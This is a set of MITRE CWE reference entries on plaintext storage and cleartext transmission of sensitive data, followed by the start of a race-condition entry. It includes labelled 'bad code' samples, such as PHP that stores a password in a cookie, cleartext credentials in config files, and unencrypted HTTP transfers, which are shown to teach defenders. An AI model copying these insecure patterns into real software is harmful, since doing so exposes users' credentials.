This listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

Demonstrative Examples

Example 1

The following code excerpt stores a plaintext user account ID in a browser cookie.

(bad code)

Example Language: Java

response.addCookie( new Cookie("userAccountID", acctID);

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Example 2

This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)

Example Language: PHP

function persistLogin($username, $password){

$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);

}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 3

The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)

Example Language: C

server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 4

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)

Example Language: Java

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)

Example Language: ASP.NET

...
<connectionStrings>

</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 5

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product stored a password in plaintext.

Example 6

In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

(bad code)

Example Language: Other

A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

(good code)

Example Language: Other

The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]

Example 7

Consider the following PowerShell command examples for encryption scopes of Azure storage objects. In the first example, an encryption scope is set for the storage account.

(bad code)

Example Language: Shell

New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption

The result (edited and formatted for readability) might be:

(bad code)

Example Language: Other

ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name	State	Source	RequireInfrastructureEncryption
testscope	Enabled	Microsoft.Storage

However, the empty string under RequireInfrastructureEncryption indicates this service was not enabled at the time of creation, because the -RequireInfrastructureEncryption argument was not specified in the command.

Including the -RequireInfrastructureEncryption argument addresses the issue:

(good code)

Example Language: Shell

New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption -RequireInfrastructureEncryption

This produces the report:

(result)

Example Language: Other

ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name	State	Source	RequireInfrastructureEncryption
testscope	Enabled	Microsoft.Keyvault	True

In a scenario where both software and hardware layer encryption is required ("double encryption"), Azure's infrastructure encryption setting can be enabled via the CLI or Portal. An important note is that infrastructure hardware encryption cannot be enabled or disabled after a blob is created. Furthermore, the default value for infrastructure encryption is disabled in blob creations.

Observed Examples

Reference	Description
CVE-2022-30275	Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.
CVE-2009-2272	password and username stored in cleartext in a cookie
CVE-2009-1466	password stored in cleartext in a file with insecure permissions
CVE-2009-0152	chat program disables SSL in some circumstances even when the user says to use SSL.
CVE-2009-1603	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
CVE-2009-0964	storage of unencrypted passwords in a database
CVE-2008-6157	storage of unencrypted passwords in a database
CVE-2008-6828	product stores a password in cleartext in memory
CVE-2008-1567	storage of a secret key in cleartext in a temporary file
CVE-2008-0174	SCADA product uses HTTP Basic Authentication, which is not encrypted
CVE-2007-5778	login credentials stored unencrypted in a registry key
CVE-2001-1481	Plaintext credentials in world-readable file.
CVE-2005-1828	Password in cleartext in config file.
CVE-2005-2209	Password in cleartext in config file.
CVE-2002-1696	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
CVE-2004-2397	Plaintext storage of private key and passphrase in log file when user imports the key.
CVE-2002-1800	Admin password in plaintext in a cookie.
CVE-2001-1537	Default configuration has cleartext usernames/passwords in cookie.
CVE-2001-1536	Usernames/passwords in cleartext in cookies.
CVE-2005-2160	Authentication information stored in cleartext in a cookie.

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Memberships

This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	963	SFP Secondary Cluster: Exposed Data
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1368	ICS Dependencies (& Architecture): External Digital Systems
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1402	Comprehensive Categorization: Encryption

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Plaintext Storage of Sensitive Information
Software Fault Patterns	SFP23	Exposed Data
ISA/IEC 62443	Part 4-2	Req CR 4.1 a)
ISA/IEC 62443	Part 3-3	Req SR 4.1

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-37	Retrieve Embedded Sensitive Data

References

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.

[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.

[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.

[REF-1295] WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021-07-20. <https://www.wizcase.com/blog/us-municipality-breach-report/>.

[REF-1296] Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021-07-22. <https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/>.

[REF-1297] Amazon. "AWS Foundational Security Best Practices controls". 2022. <https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html>. URL validated: 2023-04-07.

[REF-1299] Microsoft. "Azure encryption overview". 2022-08-18. <https://learn.microsoft.com/en-us/azure/security/fundamentals/encryption-overview>. URL validated: 2022-10-11.

[REF-1301] Google Cloud. "Default encryption at rest". 2022-10-11. <https://cloud.google.com/docs/security/encryption/default-encryption>. URL validated: 2022-10-11.

[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.2. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.

[REF-1310] Microsoft. "Enable infrastructure encryption for double encryption of data". 2022-07-14. <https://learn.microsoft.com/en-us/azure/storage/common/infrastructure-encryption-enable>. URL validated: 2023-01-24.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2023-04-25	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-04-25	Suggested mappings to ISA/IEC 62443.
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Description, Name
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated References
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Applicable_Platforms, References
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Description, Relationships, Terminology_Notes
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, References, Relationships
2018-01-23	CWE Content Team	MITRE
2018-01-23	updated Abstraction, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships, Type
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Applicable_Platforms, Demonstrative_Examples, Description, References, Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships, Taxonomy_Mappings
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Taxonomy_Mappings
Previous Entry Names
Change Date	Previous Entry Name
2009-01-12	Plaintext Storage of Sensitive Information

Weakness ID: 319

View customized information:

Description

The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

Extended Description

Many communication channels can be "sniffed" (monitored) by adversaries during data transmission. For example, in networking, packets can traverse many intermediary nodes from the source to the destination, whether across the internet, an internal network, the cloud, etc. Some actors might have privileged access to a network interface or any link along the channel, such as a router, but they might not be authorized to collect the underlying data. As a result, network traffic could be sniffed by adversaries, spilling security-critical data.

Applicable communication channels are not limited to software products. Applicable channels include hardware-specific technologies such as internal hardware networks and external debug channels, supporting remote JTAG debugging. When mitigations are not applied to combat adversaries within the product's threat model, this weakness significantly lowers the difficulty of exploitation by such adversaries.

When full communications are recorded or logged, such as with a packet dump, an adversary could attempt to obtain the dump long after the transmission has occurred and try to "sniff" the cleartext from the recorded communications in the dump itself. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Technical Impact: Read Application Data; Modify Files or Directories Anyone can read the information by gaining access to the channel being used for communication.

Potential Mitigations

Phase: Architecture and Design

Before transmitting, encrypt the data using reliable, confidentiality-protecting cryptographic protocols.

Phase: Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Phase: Implementation

When designing hardware platforms, ensure that approved encryption algorithms (such as those recommended by NIST) protect paths from security critical data to trusted user applications.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Phase: Operation

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	311	Missing Encryption of Sensitive Data
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	5	J2EE Misconfiguration: Data Transmission Without Encryption
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	199	Information Management Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	311	Missing Encryption of Sensitive Data

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1013	Encrypt Data

Relevant to the view "Hardware Design" (CWE-1194)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1207	Debug and Test Problems

Modes Of Introduction

Phase	Note
Architecture and Design	OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Architecture and Design	For hardware, this may be introduced when design does not plan for an attacker having physical access while a legitimate user is remotely operating the device.
Operation
System Configuration

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

Class: System on Chip (Undetermined Prevalence)

Test/Debug Hardware (Often Prevalent)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)

Example Language: Java

try {

URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();

}
catch (IOException e) {

//...

}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Example 2

Multiple vendors used cleartext transmission of sensitive information in their OT products.

Example 3

A TAP accessible register is read/written by a JTAG based tool, for internal use by authorized users. However, an adversary can connect a probing device and collect the values from the unencrypted channel connecting the JTAG interface to the authorized user, if no additional protections are employed.

Example 4

The following Azure CLI command lists the properties of a particular storage account:

(informative)

Example Language: Shell

az storage account show -g {ResourceGroupName} -n {StorageAccountName}

The JSON result might be:

(bad code)

Example Language: JSON

{

"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": false,
"type": "Microsoft.Storage/storageAccounts"

}

The enableHttpsTrafficOnly value is set to false, because the default setting for Secure transfer is set to Disabled. This allows cloud storage resources to successfully connect and transfer data without the use of encryption (e.g., HTTP, SMB 2.1, SMB 3.0, etc.).

Azure's storage accounts can be configured to only accept requests from secure connections made over HTTPS. The secure transfer setting can be enabled using Azure's Portal (GUI) or programmatically by setting the enableHttpsTrafficOnly property to True on the storage account, such as:

(good code)

Example Language: Shell

az storage account update -g {ResourceGroupName} -n {StorageAccountName} --https-only true

The change can be confirmed from the result by verifying that the enableHttpsTrafficOnly value is true:

(good code)

Example Language: JSON

{

"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": true,
"type": "Microsoft.Storage/storageAccounts"

}

Note: to enable secure transfer using Azure's Portal instead of the command line:

Open the Create storage account pane in the Azure portal.
In the Advanced page, select the Enable secure transfer checkbox.

Observed Examples

Reference	Description
CVE-2022-29519	Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens.
CVE-2022-30312	Building Controller uses a protocol that transmits authentication credentials in plaintext.
CVE-2022-31204	Programmable Logic Controller (PLC) sends password in plaintext.
CVE-2002-1949	Passwords transmitted in cleartext.
CVE-2008-4122	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy.
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext.
CVE-2007-5626	Backup routine sends password in cleartext in email.
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext.
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
CVE-2007-4786	Product sends passwords in cleartext to a log server.
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	751	2009 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	963	SFP Secondary Cluster: Exposed Data
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1402	Comprehensive Categorization: Encryption

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Plaintext Transmission of Sensitive Information
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J	Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
The CERT Oracle Secure Coding Standard for Java (2011)	SER02-J	Sign then seal sensitive objects before sending them outside a trust boundary
Software Fault Patterns	SFP23	Exposed Data
ISA/IEC 62443	Part 3-3	Req SR 4.1
ISA/IEC 62443	Part 4-2	Req CR 4.1B

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-102	Session Sidejacking
CAPEC-117	Interception
CAPEC-383	Harvesting Information via API Event Monitoring
CAPEC-477	Signature Spoofing by Mixing Signed and Unsigned Content
CAPEC-65	Sniff Application Code

References

[REF-271] OWASP. "Top 10 2007-Insecure Communications". 2007. <http://www.owasp.org/index.php/Top_10_2007-A9>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 22: Failing to Protect Network Traffic." Page 337. McGraw-Hill. 2010.

[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.

[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Sections 3.1 and 3.10. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.

[REF-1309] Microsoft. "Require secure transfer to ensure secure connections". 2022-07-24. <https://learn.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer>. URL validated: 2023-01-24.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2023-01-24	Accellera IP Security Assurance (IPSA) Working Group	Accellera Systems Initiative
2023-01-24	Submitted original contents of CWE-1324 and reviewed its integration into this entry.
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Related_Attack_Patterns
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated References
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Applicable_Platforms, Common_Consequences, Time_of_Introduction
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Detection_Factors, Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Observed_Examples, Related_Attack_Patterns
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Potential_Mitigations
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Applicable_Platforms, References
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Related_Attack_Patterns
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-01-23	CWE Content Team	MITRE
2018-01-23	updated Abstraction
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships, Type
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Related_Attack_Patterns, Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Description, Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples
Previous Entry Names
Change Date	Previous Entry Name
2009-01-12	Plaintext Transmission of Sensitive Information

Weakness ID: 362

Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

Extended Description

A race condition occurs within concurrent environments, and it is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity.

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.

Alternate Terms

Race Condition

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other) When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion.
Availability	Technical Impact: DoS: Crash, Exit, or Restart; DoS: Instability When a race condition allows multiple control flows to access a resource simultaneously, it might lead the product(s) into unexpected states, possibly resulting in a crash.
Confidentiality Integrity	Technical Impact: Read Files or Directories; Read Application Data When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).
